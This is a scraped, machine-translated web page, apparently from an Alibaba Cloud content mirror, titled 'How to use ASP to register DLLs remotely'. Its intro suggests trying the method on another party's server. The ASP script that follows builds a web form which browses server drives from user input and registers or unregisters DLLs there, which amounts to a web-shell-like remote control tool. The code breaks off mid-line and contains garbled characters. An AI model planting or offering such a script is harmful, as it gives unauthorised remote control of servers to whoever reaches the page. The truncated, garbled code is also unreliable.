How to use ASP to register DLLs remotely

Source: Internet
Author: User
The foreigner is really clever, this method also wants, is interested may try, but if the other side's server security is very good, this code may not use, but regardless of how, studies is also good,:

<% Response.Buffer = True%>
<% Server.ScriptTimeout = 500
Dim Frmfolderpath, Frmfilepath

Frmfolderpath = Request.Form ("Frmfolderpath")
Frmfilepath = Request.Form ("Frmdllpath")
Frmmethod = Request.Form ("Frmmethod")
Btnreg = Request.Form ("Btnreg")
%>

<HTML>
<HEAD>
<TITLE>Regsvr32.asp</TITLE>
<style type= "Text/css" >
. Legend {Font-family:veranda; font-size:14px; Font-weight:bold; Color:blue}
. FS {Font-family:veranda; font-size:12px; border-width:4px; Border-color:green;
margin-left:2px; MARGIN-RIGHT:2PX}
TD {margin-left:6px; margin-right:6px; padding-left:12px; PADDING-RIGHT:12PX}
</STYLE>
</HEAD>

<BODY>
<form name= "RegForm" method= "POST" >
<table border=0 cellspacing=6 cellpadding=6 marginwidth=6>
<TR>
&LT;TD valign=top>
<fieldset ID=FS1 NAME=FS1 class=fs>
<legend Class=legend>regsvr functions</legend>
Insert Path to DLL directory<br>
<input type=text name= "Frmfolderpath" value= "<%=frmFolderPath%>" ><BR>
<input type=submit name=btnfilelist value= "Build File List" ><BR>
<%
IF Request.Form ("btnfilelist") <> "" OR btnreg <> "" Then
Set registerfiles = New clsregister
Registerfiles.echob ("<b>select file</b>")
Call Registerfiles.init (Frmfolderpath)
Registerfiles.echob ("<br><input type=submit name=btnreg value=" & Chr (34) _
& "Reg/unreg" & Chr (+) & ">")
IF Request.Form ("Btnreg") <> "" Then
Call Registerfiles.register (Frmfilepath, Frmmethod)
End IF
Set registerfiles = Nothing
End IF
%>
</FIELDSET>
</TD>
</TR>
</TABLE>
</FORM>
</BODY>
</HTML>
<%
Class Clsregister

Private M_ofs

Public Property Let OFS (Objofs)
M_ofs = Objofs
End Property

Public Property Get OFS ()
Set OFS = Server.CreateObject ("Scripting.FileSystemObject")
End Property


Sub init (strroot) ' Root to Search (c:, D:, E:)
Dim odrive, Orootdir
IF ofs.folderexists (strroot) Then
IF Len (Strroot) < 3 Then ' must be a Drive
Set odrive = ofs.getdrive (strroot)
Set Orootdir = Odrive.rootfolder
Else
Set Orootdir = Ofs.getfolder (strroot)
&nbs



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.